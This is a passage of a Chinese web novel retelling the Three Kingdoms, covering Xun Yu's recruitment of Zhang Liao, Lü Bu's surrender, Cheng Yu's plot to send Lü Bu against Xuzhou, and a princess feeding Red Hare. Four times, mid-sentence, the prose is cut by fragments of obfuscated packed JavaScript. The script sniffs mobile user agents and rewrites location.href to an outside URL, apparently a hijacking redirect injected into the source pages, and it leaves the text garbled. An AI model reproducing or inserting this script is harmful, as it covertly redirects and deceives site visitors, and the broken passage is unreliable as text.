“将军忠肝义胆,荀彧佩服至极,只可惜未曾得遇明主,一身武艺尽皆错付啊。” “吕布此人反复无常,先杀丁原,后诛董卓,长安失守,他又弃年幼天子于不顾,如今又趁兖州内部空虚,前来欺负一众老弱妇孺。” “此等不忠不孝,不仁不义之徒,何以配得将军辅佐?岂非明珠暗投?”荀彧摇了摇头,面上一派遗憾之色。 “你说我主公不忠不孝,不仁不义,那你主公就那么干净吗?” “徐州百姓的哀嚎与血泪,我哪怕待在这牢房里也都听得见,看的见!” “白骨成堆,烽烟四起,难道这就是你主公的仁义忠孝吗?” 听他不断的抨击自己的主公吕布,张辽冷笑一声后,立刻质问起来。 “曹公此举的确不妥,但有一点将军却说错了。”岂料荀彧却并没反驳,反而却要纠正于他。 “那你倒是说说看,我哪一点说错了?”张辽冷哼一声。 “自然是‘你主公’这三个字啊。”荀彧笑了笑道。 “……”张辽先是一愣,然后面色便变得沉重起来,显然是听出了他的言外之意。 “你到底效忠于谁?”他问道。 “当然是汉室。”荀彧的回答滴水不漏。 “你想要我做什么?直说吧。”没问出结果,但张辽的耐心却已经耗尽。 “我一开始就说的很明白了,我是来招揽将军的。”荀彧再次重复了一遍。 “所以,只要我不松口,你就绝对不肯吐露自己真正的主公是吗?” “可是一个藏头露尾,连面都不敢露的家伙,又有什么资格值得我的效忠呢?”张辽却反问道。 “谁说她没有露面?攻城结束后,你不是看见她了吗?还看呆了。”荀彧却挑了挑眉。 “你的意思是……”,张辽后知后觉的反应过来,但还是有些不确定。 “一个小姑娘?你效忠一个小姑娘吗?”他试图确认一下。 “我说了,我效忠的是汉室。”荀彧却再次强调道。 “从某种意义上来说,除了早就被董卓鸩杀的弘农王,还有现在困在长安的陛下之外,也就只有她最能代表汉室的意志了。” “董卓火烧洛阳皇宫后,孙坚在建章宫中遇到了谁,想必将军不会没有听说吧。”他话头一转,突然提起了一件事。 “你是说……”,张辽的瞳孔瞬间都放大了,显然是震惊到不行。 “可是这怎么可能呢?你有什么证据?” 他猜到了那小姑娘很可能是万年公主,可他实在想不通这其中的关窍,只能皱紧眉头问他。 “我既然敢说这话,那自然是有证据的,也可以展示给将军看,不过将军是不是也该有所表示啊。” “不管怎么说,咱们的这场谈话可是风险极大啊。”荀彧开始跟他讨价还价了。 “那你想怎么样?”张辽看了他一眼。 “简单,口说无凭,立字为据。”荀彧熟练的从袖中取出一封帛书。 这手段还是当初陈宫坑他用的,现在他如法炮制,用在了张辽这里。 不过他比陈宫做的更绝,连内容落款都提前写好了,当然,这也可能是他考虑到了牢房的恶劣情况,带笔墨纸砚过来目标太大,也不方便。 “……”而张辽看到他这番操作,嘴角也忍不住抽了抽。 可现在显然是验证真相更要紧,他也就没多计较。 借着火把的光将帛书内容看了一遍,确定只是要自己效忠汉室,而并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863925|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有别的什么对自己不利的附加条件后,他便咬破手指按了上去。 荀彧看着落款处印在‘张辽’两个字上面的红色指纹,满意的点了点头,将这帛书小心叠好收入袖中后,便又从怀里拿出来一张新的。 “看吧,这就是你要的证据。”他弯下腰把那张帛书展示给他看,而那上面只有一个印章的痕迹。 “竟然是真的,竟然是真的。”张辽看着那鲜红的八个字,震惊的无以复加。 他虽然没有亲眼见过传国玉玺,但上面刻的是什么,他还是知道的,或者说,只要是进了官场的人,不管是文官,还是武将,就没有不知道。 “告诉我,到底是怎么回事?”这一刻,张辽迫不及待的追问起万年公主在这里的缘由。 “文远兄,与其让我告诉你,不如你出去了亲自去问,届时什么疑虑都可尽消了。”但荀彧却并没有直接回答,反而拍了拍他的肩膀安抚了一句。 “对了,还有一件事我得提醒你,转投主家一般都要有投名状的,她希望你能说服高顺将军。” “自然了,如果你觉得自己能行的话,也可以试试游说吕布,但前提是,不要在他面前暴露新主人的身份。” “眼下情况复杂,她和我们都在曹操的眼皮底下,安危是头一件要紧的大事,还望文远兄谨慎行事。” 荀彧转述了刘琼吩咐的新任务,但同时又提点了他几句,让他做事的时候注意分寸。 “我心中有数,你且去就是。”张辽也明白对方是好意,点了点头应下了。 “好,我会告诉狱卒,明早把高顺将军带来你这里,你们好好谈谈。” “两日之后,我会再来看你们,届时希望文远兄已经说服了他,那样我也好去向大公子复命,放尔等出来。”荀彧一语双关道。 “……你放心吧。”张辽心知高顺性子执拗,怕是不好说服,但他还是答应了下来,不止是为了投名状,更是为了救自己兄弟的性命。 而且也只有他们两个先出去了,才有可能搭救吕布。 就这样,双方暂时达成了一致,荀彧再次收好那张有传国玉玺印记的帛书,然后这才拿着火把离开了。 牢房里再次陷入一片昏暗,但张辽的心却亮如明镜,并对未来有了盼头,他又狠狠灌了一口酒,突然忍不住笑出了声,天无绝人之路,大概就是他现在的境遇了吧。 只是他怎么也没想到,这新的生路,竟是掌握在一个小姑娘手上的。 不过有一点荀彧说的很对,对方到底不是普通的小姑娘,身份不一般,能力也不一般,旁的不提,就说在战场上那一手驯兽功夫,普天之下只怕就无人能及。 若是再联想到建章宫的金凤引路的传闻,那就更加非同凡响了。 虽然到现在为止,他还没有和公主说上一句话,但只要一想到当日她安抚赤兔马的样子,张辽心里就忍不住觉得她会很好相处。 也许换个主公也不错,他这样想着,然后一口接一口的把酒喝完,并睡了过去。 41.吕布妄想 张辽心知高顺性子执拗,跟他说什么都不如提一句吕布的性命堪忧有用。 而高顺听了这话,到底还是答应归降了。 张辽清楚他是个说话算数的真汉子,也有意想要拉他一把,于是便将他们即将投效之人的真实身份说了出来。 高顺闻言大惊,但同样的,心里的抵触也消去了许多,毕竟,投降曹操和投降公主,那完全不是一个级别的。 曹操虽是兖州牧,近些年的所作所为也称得上大汉忠臣,可是又怎么及得上万年公主这位先帝的亲骨肉呢? 张辽见他面色缓和许多,趁机又嘱咐了几句,让他不要乱说。 公主现在也是寄人篱下,招揽他们亦是暗中行事,倘若一旦走漏风声,只怕不止他们有性命之危,公主也会受到牵连,话里话外,曹操此人未必表里如一。 高顺亦是知道轻重,表示自己定会守口如瓶,绝不令公主陷入险境。 张辽听到这儿,总算松了一口气,两日后荀彧再来时,也得到了满意的回答,那么现在唯一的难点就是吕布那儿了。 张辽自告奋勇前去劝降,高顺也想去,可他自知口才不行,又怕一不留神就祸从口出,最后只能拜托张辽好好劝吕布。 不管外人说吕布有多不好,可他到底是他们的主公,嗯,以前的主公,背信弃义实非大丈夫所为。 张辽自是应下不提,然后荀彧便派人把张辽送到吕布的牢房。 突如其来的火把亮光和门打开的声音瞬间吸引了吕布的注意。 待到看清进来的人是张辽的时候,他又惊又喜。 “文远,怎么是你?” “将军受苦了。”张辽说着话,快步走上前去给吕布解开手上的麻绳,又拽下腰间的酒囊递过去。 吕布几乎是抢一般的接过酒囊,‘咕咚咕咚’便猛灌起来,待到饮尽囊中酒水,他才停下。 “痛快,痛快!”话音未落时,他便将酒囊甩到一旁,喝过酒后,他的理智似乎也回来了。 “文远,你怎么出来了?”他狐疑的看了他一眼。 “唉,一言难尽啊。”张辽无奈的叹了一口气。 “那曹家小儿派人来劝降,我等自是不愿,可他们拿将军的性命威逼我等,倘若不从,只怕将军性命难保啊。”他半真半假的解释了一遍。 “我等?你是说连高顺也……”,吕布难得抓住一回重点。 “将军最是知道他的,若非旁人拿将军性命威逼,他是宁可死了,也不会投降的。”张辽说的是实话。 而吕布也知道张辽说的是实话,别的不提,高顺对自己的忠心,吕布还是很清楚的。 如今自己落魄被擒,对方竟愿意为保全自己性命而屈膝求人。 再想想自己以往对待高顺的疏离和防备,便是吕布素来是个脸皮厚的,如今也感觉有些羞愧。 “是啊,他的忠心,我最是知道的。”他点了点头。 “那不知将军现如今有何打算?”张辽试探性的询问道。 “如今是人为刀俎,我为鱼肉,还能如何?”吕布叹了一口气。 “可即便是投效,那以前我侍奉着,不是刺史,就是丞相,身上还有陛下赏赐的爵位,现在却要屈居那曹家小儿之下,未免有些说不过去吧。” “况且那曹家小儿还不是堂堂正正赢得我们,是使了诡计的,我若因此而投降,岂非太过丢脸?”吕布很是纠结。 张辽一听就知道他已经动摇了,现在只是缺少一个台阶下,于是乎,他立刻再接再厉的劝说起来。 “将军聪明一世,如何现在却犯了糊涂?我等就算要投效,也不是他一小儿能接纳的,必然会等着兖州牧曹操回来后再做定夺。” “如今那小儿派人来威逼,不过是想在自己父亲面前露露脸罢了,可我等也正好借他之口向曹操表达诚意啊。” “说起来那曹操也算是当世英雄,如今又蒙天子恩赏,得封兖州牧。” “将军亦是当世豪杰,既有中郎将之职,又有温侯爵位,倘若主动投效曹操,那他岂能不礼遇厚待将军?”张辽循循善诱,说着各种好处。 “文远这话说的很是。”吕布听的很受用,连连点头。 他正要松口,可突然想起了那日看到的美貌小姑娘,心下一动,面上又故意做出一副为难之色。 “文远啊,并非我不愿投效,只是我和那曹操同为汉家臣子,且品级相差无几,倘若真要屈居于下,这事儿好说不好听啊。” “再者说,当初董卓身为丞相尚且要主动用赤兔马拉拢我。” “如今曹操不过只是个兖州牧,他毫无表示就想得我这等猛将的效忠,恐怕也说不过去吧。”吕布越说越觉得有道理。 “那将军的意思是?”张辽看了他一眼。 “我的意思是,投效可以,但他得拿出点诚意来啊,最好两家能结成亲眷关系,那样说出去也好听啊。”吕布挑了挑眉,几乎是明示了。 “难道将军又想拜义父不成?”张辽下意识的脱口而出就是一句这个。 “什么跟什么啊。”吕布一听就跳起来了。“那曹操比我大不了几岁,他怎么能当我的义父?这不胡闹吗?” “那就是将军想与曹操结为异性兄弟?”张辽又提出了一个假设。 “结为兄弟也不是不可,但到底不是亲的,恐他将来不愿重用于我。” “依我看,还是司徒王允当时的做法更稳妥些。”吕布给了他一个眼神。 “……”话都说到这个份上了,张辽还有什么不明白的,敢情吕布这是看上曹操的闺女了。 可是他不记得吕布什么时候见过曹操的女儿啊,电光火石间,张辽突然想起了一事。 “将军,你该不是有意于当时曹家小儿带着的那个小姑娘吧。”他有些不确定的猜测道。 “知我者,文远也,那日我可是听见那曹家小儿叫她妹妹了,想来必是曹操的女儿。” “倘若曹操肯将此女嫁我,那我投效他也就是理所应当的事了。”吕布满意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874349|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍了拍张辽的肩膀。 “……”,而张辽看着对方那副得意洋洋的样子,嘴角止不住的抽了抽,心里也在不断吐槽。 别说那小姑娘是万年公主,你吕布根本高攀不起。 就是她真是曹操的女儿,你个败军之将,身家性命都在人家手里攥着的家伙,凭什么敢提要娶新主公的女儿啊,难道是凭你脸皮厚吗? 当然了,这些话是肯定不能当面说的,张辽还没失去理智。 但是他觉得,自己必须设法打消吕布的这个念头,否则真等这家伙去曹操面前一顿胡咧咧,他们就都不用活了。 既然公主和玉玺都在兖州,张辽可不相信曹操不知道内情,也正因对方什么都知道,所以他才不能让吕布开这个口。 “将军,那我敢问将军,倘若曹操真的肯将女儿嫁你,你又该给此女何种名分呢?” “容我提醒将军一句,嫂夫人这么多年跟着将军,从来都把家事料理的井井有条,在外头也是给足将军面子,又替将军诞下了唯一的女公子。” “倘若将军为攀曹操这门亲戚,贸然贬妻为妾,只怕曹操便是接纳了将军,心里也会有所芥蒂。” “更何况,这事儿若是让嫂夫人和女公子知道了,她们又何以自处呢?” “张辽斗胆请将军三思而行,莫要因一时冲动而做出让自己后悔一辈子的决定啊。”张辽苦口婆心的劝说。 而这些话也果然让吕布的色心褪去了一些,想起跟随自己多年的妻子严氏,还有唯一的女儿,他也不由得起了愧疚之心。 “得了得了,我不过是随口说一句,不行就算了呗。”最后他很不耐烦的摆了摆手。 “既然结亲不成,那至少要保住咱们的兵马,绝不能轻易让曹操拿去。” “不然你我岂不是真成了待宰的羔羊,任人摆布了?” 这话说的总算像个统帅的样子了,张辽也松了一口气。 “将军所言极是,倘若那曹家小儿再来游说,我必定会向其提及将军的要求。” 这次他倒是很赞同吕布的想法了,毕竟,没有自己的兵马在手,如何为公主效力呢? “不是提及,而是一定要他答应,态度强硬些,否则还不让那曹家小儿看轻了你我这等伟丈夫?”吕布又加重语气强调了一遍。 “将军所言有理。”张辽自是点头应下。 就这样,他们暂时达成了一致,而这个要求也借由荀彧之口传到了曹昂耳朵里。 曹昂虽然年轻,但也知道轻重,此等涉及兵权之事,他明白不是自己能够随意许诺的。 于是便道等父亲曹操回来后,再给他们答复,但为了安抚众人,他派人将吕布,张辽,高顺等人挪出了牢房,软禁在客房里。 虽然进出依旧受到限制,但衣食住行改善不少,吕布也总算消停下来,只是张辽和高顺却一直盘算着何时能见公主一面。 可还不等他们得到公主的传召,就听到曹操已经回到兖州,马上就要到达东郡的消息。 42.鹬蚌相争 曹操急匆匆回师救援,却不想战斗早已结束。 自己的儿子竟然还在荀彧等人的帮助下劝降了吕布,张辽,高顺等人,这属实让他非常惊讶,还有自豪。 可等曹操听说他们能打赢这场战争,竟然是靠着公主那非凡的能力时,又忍不住觉得有些莽撞。 依照曹操自己的意思,那是宁可拿兵将的性命去填,也不愿暴露公主的存在的。 可现在木已成舟,说什么都晚了,索性吕布等人虽然见到了公主,但并不知道她的真实身份,曹操也就略微松了一口气。 然后他就从儿子曹昂那儿听到了吕布他们的归降条件。 按这个时代的规矩,一旦有降将投奔新主公,那么对方原来麾下的士兵必然要进行一次拆分的。 但如果降将的忠诚度比较高,那也不是不能让他们保留原来的兵马配置,这也是保持战斗力的一种办法。 张辽和高顺还好,吕布的话,曹操是怎么也信不过。 这家伙虽然悍勇无双,可奈何是个反骨仔,就连义父都宰了两个,曹操实在是不敢轻用于他,更别提让他保留本部兵马的指挥权了。 曹操很为难,非常为难,这种事又不能拿到明面上来说,所以他私下里找来了谋士程昱,希望他能给自己出个主意。 程昱此人虽是荀彧推荐给他的,可性格却与荀彧大不相同,后者是那种士族高门培养出来的谦谦君子型,走的光明正大的路子,俗称阳谋。 而程昱的性格却十分刚烈,行事手段也颇为强硬,甚至有些偏执,但他的才华也是毋庸置疑的,这次守护东郡的战争,他的援军也起了不小的作用。 最重要的,他对曹操非常忠诚,如此一来,他便是问询如何使用阴谋诡计解决问题的不二人选,这也是为什么曹操要找他来问如何处置吕布的原因了。 曹府书房里,曹操坐在上首,程昱坐在他下首右侧处。 “仲德,关于吕布来投之事,你怎么看?”曹操也不忸怩,直奔主题。 “主公,吕布此人为一猛将不假,但他背信弃义也是众所周知之事,今日他兵败投降,不过是惜命尔。” “偏又不肯放弃兵权,想来心中必有别的打算,此等见利忘义,心怀不轨之人,主公断不可留,否则日后必定养虎为患啊。” 程昱一针见血的指出了重点,并毫不犹豫的建议曹操直接杀了吕布,以绝后患。 “可我自从兴兵讨贼以来,便是倚仗自身信义招揽四方俊杰。” “吕布虽私德有亏,但到底也是为国除过害的,又主动投降,我若杀之,只怕日后有才之人闻之,不敢来投奔于我了。” 曹操心里很赞同程昱的建议,但面上却一副为难之色,并将自己的顾虑一一道来。 说白了,他就是想杀吕布,又不想背一个残暴的名声,言外之意就是让程昱再想个两全其美的法子。 “如此这般,那就只好用鹬蚌相争之计了。”程昱闻声而知意,很快就想出了解决办法。 “哦?怎么个鹬蚌相争之法?”曹操来了兴趣。 “主公,我听说徐州牧陶谦病重,已经将州牧之位托付给了刘备,若非吕布突袭兖州,主公此时早已报了父仇,并尽得徐州。” “此番无功而返,他吕布难辞其咎,如今他又战败来投,主公何不派他再去攻打徐州,也好戴罪立功?” “那刘备新得了州牧之位,也必定不肯轻易放手。” “只要稍加挑拨,他们便会互相撕咬起来,无论结果是胜是败,双方的势力必定都会被削弱。” “届时主公再秉雷霆之势而下,不仅能同时除掉两个大敌,徐州也唾手可得了,主公以为如何?” 程昱细细讲述了自己的计策,末了,又去问曹操的看法。 “妙,妙啊,好一个鹬蚌相争,渔人得利之策,仲德,还是你最得我心啊。”曹操闻言连连合掌赞叹,并毫不犹豫的夸赞,给足情绪价值。 “主公谬赞了。”程昱闻言,脸上也带上些笑意,可见是很受用的。 他出身寒门,最大的愿望就是得一明主而侍奉,并实现自己的人生抱负。 曹操如此看重于他,那他自是愿意拼尽全力为其谋划的,至于些许名声,程昱反而不太在意,性子执拗,可见一斑。 不过曹操也就是喜欢他这个样子,至少不用担心对方背刺自己。 看着眼前恨不能把身家性命都托付给自己的程昱,曹操不由自主的就想起了陈宫,他对陈宫真可谓是又爱又恨啊,可偏偏又舍不得把陈宫怎么样。 其实他一回来兖州后,第一时间就派人去查了陈宫的近况。 得知对方这些日子一直病着,并无精力去插手其他事宜,曹操那悬着的心总算落了地,又派人送了许多补品,以示关心。 曹操是真怕啊,他怕这次是陈宫背刺自己,又怕陈宫会因此离开自己,‘又爱又恨’这四个字算是写尽了他对陈宫的复杂感情。 当然了,这些肯定是不能宣之于口的,特别是当着同为谋士的程昱的面,纵然曹操心里是更偏爱陈宫的,但现在他绝不会扫兴的说出来。 就这样,他们两个定下了计策,回头曹操便摆下宴席要给吕布,张辽,高顺等人接风,说是庆祝自己阵营又多几员大将。 等到酒过三巡,菜过五味,曹操一个眼神过去,程昱马上就开始了自己的表演,对着吕布大夸特夸起来。 而吕布呢,这酒一喝多了,又被这么一恭维吧,整个人就有点上头,他自己也大吹特吹起来,说他的勇猛,说他的无敌,说的一旁的张辽和高顺都脸红了。 若是以往也就罢了,可这次他们不是栽在兖州了吗? 现在又是败军之将,前来投降的,这会儿却一个劲儿的提以前的丰功伟绩,似乎有点太不讲究了吧。 其实他们更想说吕布多少有点不要脸了,可他到底是自己以前的主公,也不好一点面子都不给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880966|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两人便只能尴尬的坐在自己的位置上待着。 也就是在这个时候,程昱顺势便提出让吕布去攻打徐州,为曹操父亲讨回公道,也为自己戴罪立功。 曹操更是当众承诺,如若吕布果真做到这点,那么他绝对会视其为自己的肱骨心腹。 张辽和高顺听着这话就感觉有哪儿不对,端着酒杯过去吕布那里,以敬酒为名,想要提醒他谨慎。 奈何吕布彻底喝高了,又被这么一吹捧,这心早就不知道飘到哪儿去了,竟是大包大揽的答应了此事,还大言不惭的说要立下军令状。 张辽和高顺瞬间就紧张起来,连忙打圆场说这是醉话,当不得真,可岂料吕布却一把推开了他们,非说自己能做到。 曹操眼看这家伙上赶着要去送死,那自己没理由不成全他啊。 程昱这次更是积极,立刻派人寻来了笔墨纸砚和红色印泥,亲自写好之后拿到吕布面前,吕布大手一挥就按了下去。 整个过程看的人眼花缭乱,可实际也就那么一小会儿的功夫。 军令状嘛,明确权责关系和完成不了的后果就行了,其他的冠冕堂皇的话很是不用写的,这也是程昱能这么快将其书写完毕的原因。 可他这么快的操作也很难不让人起疑心啊,更别提张辽和高顺早就感觉有哪儿不对劲了,可现在是吕布自己上赶着,他们就是劝都找不到突破口。 许是察觉到了他们怀疑的目光,曹操又抛出了一个承诺,允许他们继续统领自己原来的兵马,缺什么物资也可以报备,等于说是全盘答应了他们之前提出的条件。 这下子,便是张辽和高顺真觉得对方别有用心,也不好当面说什么了。 可这不代表他们就不担心吕布的安危,在私下商量过后,张辽特地寻了个机会,和荀彧假装偶遇交谈,在擦肩而过的一瞬间,塞了一张帛书在他手中。 荀彧反应也快,当即收在袖子里,两人就这么心照不宣的分开了。 待到荀彧看过里面的内容后,不需要如何思索就明白这是曹操针对吕布设下的算计。 至于为何先前的宴席没有邀请自己,恐怕也是曹操知道自己的品性,不屑此等阴谋诡计,故而不想让他知道此事。 现在张辽告诉他内情,又说高顺也很担心吕布的安危,荀彧就明白,他们两个不想让吕布去死,想让他想想办法。 其实在荀彧看来,这件事要命的地方不在打仗,反而在那张军令状上。 吕布再怎么有勇无谋,这勇都是真的,他去打徐州的刘备应该绰绰有余,可问题就在于,如果曹操一门心思想要吕布死,那张军令状反而是更好的理由。 这可不是写着玩的,反而是军法处置的关键证据,而军法一向是从重的。 可吕布现在还不能死啊,张辽和高顺还未彻底归心呢,荀彧明白情况紧迫,急需找人商量,但又不能在这个节骨眼上去寻公主,思虑一瞬后,他便出门去了陈宫的府邸。 43.爱不释手 荀彧去找陈宫商量,请他拿个主意,看看此事如何破局。 “文若,你且稍安勿躁,我料定吕布此去攻打徐州绝不会有事。”然而陈宫听了他的来意后,却请他坐下,并安抚了一句。 “哦?公台兄就这般相信吕布能攻下徐州吗?”荀彧有些好奇的问道。 “他能攻下最好,攻不下也无妨。”陈宫却摆了摆手,示意重点不是这个。 “最重要的是,吕布乃是惜命之人,一旦他发觉自己难以完成军令状上所写内容,你觉得他还会回来任由曹操处置吗?”他挑了挑眉。 “的确啊,反正他都叛逃了好多回了,也不差这一回了。” “袁绍,袁术,张扬……几乎北方的诸侯都被他投奔了个遍。” “如果这次果真攻打徐州不成,他大可以反投到刘备手下。” “而刘备此人素来以仁义立身,如今身边又急缺人才,哪怕知晓吕布是头弑主猛虎,多半也会收留对方。”荀彧不过短短几瞬就想通了其中的关窍。 “所以啊,问题这不就解决了吗?张辽和高顺也只是想保住吕布的命而已,并无其他诉求,比如,强烈希望继续和吕布共事。”陈宫打了个比方。 “公台兄说笑了,这天底下敢和吕布共事的,也只有丁刺史和董相国,亦或者司徒王允那样的‘人才’,至于咱们,还是算了吧。” 荀彧闻声而知意,顺势也说了一个特别冷的笑话。 “不过话又说回来了,如此猛将就这般放弃,也着实可惜啊,女公子那边就没什么想法吗?”他又问了一句。 “女公子派你先去寻张辽,然后再说服高顺,最后才通过他们接触吕布,文若,我可不信你什么都没看出来。”陈宫似笑非笑的看了他一眼。 “知我者,公台兄也。”荀彧闻言也笑了起来。 四目相对间,一切尽在不言中。 他们两人达成一致,便寻机会通知张辽和高顺,言说吕布此去徐州绝不会有事,即便出了差错,大可以转投刘备,总而言之,性命无忧,让他们宽心就是。 张辽和高顺一合计,也是这么回事啊,吕布什么德行,他们也都清楚。 也罢,以后不能共事便不能共事,总归他保住了性命,也算是他们这两个昔日同袍对得起他了。 而另一头,吕布酒醒之后,想起自己在宴席上的各种许诺,也是懊恼不已,难得察觉到受了算计,正打算去找曹操理论,还没出门就被张辽和高顺拦在了屋里。 两人知道没办法跟他说透了这里面的弯弯绕,只能粗略告诉他,这事儿找也没用,军令状已经立下,想改那是不可能的。 就算心里明知道这是人家设的圈套,可也架不住是你当时主动的。 这怎么说都是他们这边没理,现在唯一的办法就是在限定时间内完成任务,要不就只能跑路了。 当然,后面这句话,张辽和高顺也没敢说的太直白,因为他们都知道吕布好面子。 所以也只是劝吕布这次征讨徐州万一出了什么差错,那一定要谨记留得青山在,不怕没柴烧的道理。 吕布是莽撞,又不是傻子,他当然听出来这是他们在建议自己完不成军令状的话,跑路也是可以的,总之千万别回来找死。 虽然道理是这么个道理吧,可吕布心里就是怎么听怎么不舒服,感觉他们这是小觑自己的能耐。 特别是听说徐州现在守城的还是刘备的时候,吕布就更不将其放在眼里了。 当初十八路诸侯讨董,他们刘关张三兄弟一起围攻自己也只能勉强打成平手,如今再战,鹿死谁手,还未可知呢。 总之吕布觉得自己的赢面还是很大的。 但他也知道张辽和高顺是好意,也就没多说什么,但面上那不情愿倒也让人看的分明。 张辽和高顺还以为他没听进去,正要再劝,吕布却说自己要去看看麾下的兵马,两人也只好一同跟去。 曹操倒是没有食言,的确将吕布统领的本部兵马都还给了他,但张辽和高顺的部下们却在别处安置,这次出征,他们两个也不能跟着他一起去。 他们正在忧心忡忡,对吕布的处境担忧不已,可吕布的注意力却根本没在这上面,环顾四周好几圈,确定部下们的人和马都在时,他终于意识到一个严重问题。 “我马呢?我赤兔马呢?” 此话一出,张辽和高顺也是面面相觑。 “赤兔那天好像是跟着女公子走了吧。”他们两个想起来了。 “这不行,赤兔马得跟着我,这场仗才能万无一失,我得去找那女公子把马要回来。” 吕布一听也想起了当日那个美貌小姑娘,心中不禁一喜,但面上却装作一本正经的样子,说着要为打仗而去要马。 “将军,将军,还请稍待啊!”张辽和高顺怎么可能不知道他想干什么,立刻就不约而同的伸手去拦。 “稍待什么啊,我和赤兔就没分开过,它现在指不定有多想我呢,我可得赶紧看看它去。”吕布却一把打掉了他们两个的手。 “将军,将军,倘若这赤兔马果真在女公子处,那必是在曹府后宅内院。” “这女眷居所,你我外男怎好乱闯,这不合规矩啊,依我看,还是先禀报曹公,问问清楚再行动吧。” 关键时刻还是张辽脑子好使,马上就想出了一个合适的理由。 “……”,吕布听到这儿,心里虽然不高兴,但也不得不承认张辽说的对。 “行,那我们就去找曹操要。”于是乎,他也只得同意了这个提议。 三人结伴去寻曹操的时候,却不知道此时的赤兔马并未在曹府里,曹昂带着刘琼和赤兔马到郊外的庄子里去了。 刘琼让曹昂带着骑马玩了一会儿后,又兴致勃勃的看他喂马,仆从们带来许多东西放在马槽旁边,曹昂便指挥他们一样一样往里放。 首先倒进马槽的是些草料,可看着又不像是普通的青草。 “这是什么草啊?”刘琼好奇的问了一句。 “是苜蓿,上好的牧草,当年博望侯张骞出西域时从大宛国带回来的,专供千里马吃的。” 曹昂一边解释,一边拿起一束草料送到赤兔马嘴边,赤兔马果然吃了,还吃的一脸享受。 刘琼见状也来了兴趣,她也拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884446|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一束喂给赤兔马,它吃的更欢了。 “它果真喜欢这个,那这些呢?又装的是什么啊?”她又指了指放在马槽旁边鼓囊囊的袋子们,继续追问。 “是各种粮食,小米,小麦,还有豆饼,都是好东西。” “赤兔马是千里马,更是战马,平日里不比野马有那么多时辰在外头吃草补充体力,那我们就得给它多喂粮食了。” “不过有一点得特别注意,喂马的时候,需要先喂牧草,再喂粮食,如果顺序错了,那马儿很可能会拉肚子,身体不适的。” “你看俗话说,‘草料,草料’,就是这个道理了。” 曹昂让人把那几个袋子打开,然后在另一个马槽中开始搅拌,但他却不过去,而是盯着赤兔马先吃苜蓿这种牧草,顺便给刘琼解释缘由。 “原来是这样啊,那是不是还要在粮食里放盐?我听说马儿每天都需要补充盐分,还要大量喝水的。”她兴致勃勃的继续跟他探讨。 “是啊,这盐可以放到粮食里搅拌给它吃,也可以直接给它舔盐块,至于水,干净的井水,河水,都是可以的。” “也亏得它来了咱们兖州,现在倒是吃上这天下最好的盐了。”曹昂说着就示意仆从们把一袋袋精盐按比例放到粮食里继续搅拌。 “自然了,这也多亏了妹妹,不然咱们还得吃那青盐呢。”他毫不吝啬的夸了刘琼一句。 “青盐也是顶好的盐了。”刘琼笑了笑道。 “但也比不上这新法制作的雪白的盐,卖相好不说,味道也好,像袁绍袁术那种大诸侯也喜欢呢。”这是大实话,曹昂一点不掺假的。 “那他们倒是和赤兔马一个口味了。”刘琼下意识的接了一句。 两人对视一眼后,下一秒,同时笑出了声。 “哈哈哈!” “哈哈哈哈!” “傻妹妹,你还笑呢,咱们自己不也是吃这个吗?” “是了,是了,咱们也吃这个。” 他们笑的肚子疼,旁边的赤兔马也不住的嘶鸣起来,还一个劲儿要往刘琼这边蹭。 “乖了,乖了,我们没说你坏话,是说你伙食好呢,快吃吧,快吃吧。”刘琼赶紧摸了摸马头安抚它。 “再给它加几个鸡蛋吧,我记得马儿是能吃生鸡蛋的吧。”说着,她又去问曹昂。 “自然是能吃的,不过它这待遇也太好了吧,比普通百姓都吃的强多了。” 曹昂感慨了一句,但还是吩咐仆从打了几个生鸡蛋到草料里继续搅拌。 “我知道这样有些奢侈,但它可是赤兔马啊,它值得这个待遇。” 刘琼又摸了摸马儿的头,动作轻柔又耐心,眼睛里亮晶晶的,仿佛有光一样。 赤兔马似乎也听得懂似的,开始像个小狗一样吐舌头,跟她撒起娇来。 